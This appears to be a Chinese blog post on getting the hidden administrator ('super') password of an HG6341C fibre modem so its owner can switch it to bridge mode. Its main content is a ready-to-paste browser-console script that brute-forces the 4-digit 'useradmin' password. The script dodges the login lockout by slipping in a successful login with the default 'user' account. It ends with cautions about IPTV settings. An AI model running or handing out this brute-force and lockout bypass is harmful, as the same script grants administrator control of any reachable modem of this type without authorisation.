光貓默認(rèn)的路由模式實(shí)測(cè)在100M寬帶下只能跑到60M左右，只有改成橋接模式才能跑滿(mǎn)，不損失性能。但是改橋接需要給運(yùn)營(yíng)商打電話(huà)，有的時(shí)候不想麻煩他們，這時(shí)獲取超級(jí)密碼進(jìn)行更改就是一個(gè)不錯(cuò)的選擇了

分析

之前寫(xiě)了一篇HGU B2 光貓的分析文章，今天又拿到一個(gè)HG6341C型號(hào)的，發(fā)現(xiàn)代碼改改仍能通用，因此將該型號(hào)的超級(jí)密碼獲取方法一并寫(xiě)出。

注意

1. 超級(jí)用戶(hù)有將光貓功能改壞的可能性，請(qǐng)謹(jǐn)慎更改里面的配置，不懂的配置不要更改。
2. 改橋接會(huì)有使IPTV無(wú)法上網(wǎng)，且IPTV機(jī)頂盒DHCP失效的可能性，參見(jiàn)HGU B2 光貓的分析文章。

獲取步驟

光貓有一個(gè)user賬戶(hù)，密碼一般為12345678，可以先嘗試登陸看看是否正確，接下來(lái)要使用這個(gè)能夠成功登錄的賬戶(hù)繞過(guò)多次試錯(cuò)的冷卻機(jī)制。
接下來(lái)訪問(wèn)后臺(tái)192.168.1.1，瀏覽器打開(kāi)開(kāi)發(fā)者模式，在控制臺(tái)粘貼如下代碼，注意其中'12345678'要改成你的能成功登陸的user用戶(hù)密碼：

var issucc = 0;
var i = 0;
function testlogin(times) {if(i > 10000) return;var web_Username = 'useradmin';var web_Password = (Array(4).join(0)+i).slice(-4);var obj = new Object;obj.username = web_Username;obj.loginpd = sha256_digest(web_Password);XHR.post("do_login", obj, function(data) {if(data.login_result == 0) {alert(web_Password);issucc = 1;} else {console.log("["+data.login_result+"] "+web_Password);if(times >= 1) {var obj = new Object;obj.username = 'user';obj.loginpd = sha256_digest('12345678');XHR.post("do_login", obj, function(data) {console.log("["+data.login_result+"] skip ban");i++;testlogin(0);});} else {i++;testlogin(1);}}});
}
testlogin(0);

接下來(lái)等待窮舉完成，即可通過(guò)useradmin賬戶(hù)登錄了。

特別注意，改橋接時(shí)不要影響到IPTV的設(shè)置（即不要將IPTV設(shè)置為橋接），廣電的IPTV可能因?yàn)榻M播以及路由問(wèn)題，無(wú)法讓電視盒子自己DHCP，只能由光貓獲取IP，并配置了靜態(tài)路由和DNS。

但是，這樣一來(lái)IPTV機(jī)頂盒將無(wú)法上網(wǎng)，只能看電視，這是唯一一點(diǎn)遺憾。如果有更好的穩(wěn)定方法，歡迎在評(píng)論區(qū)一起討論。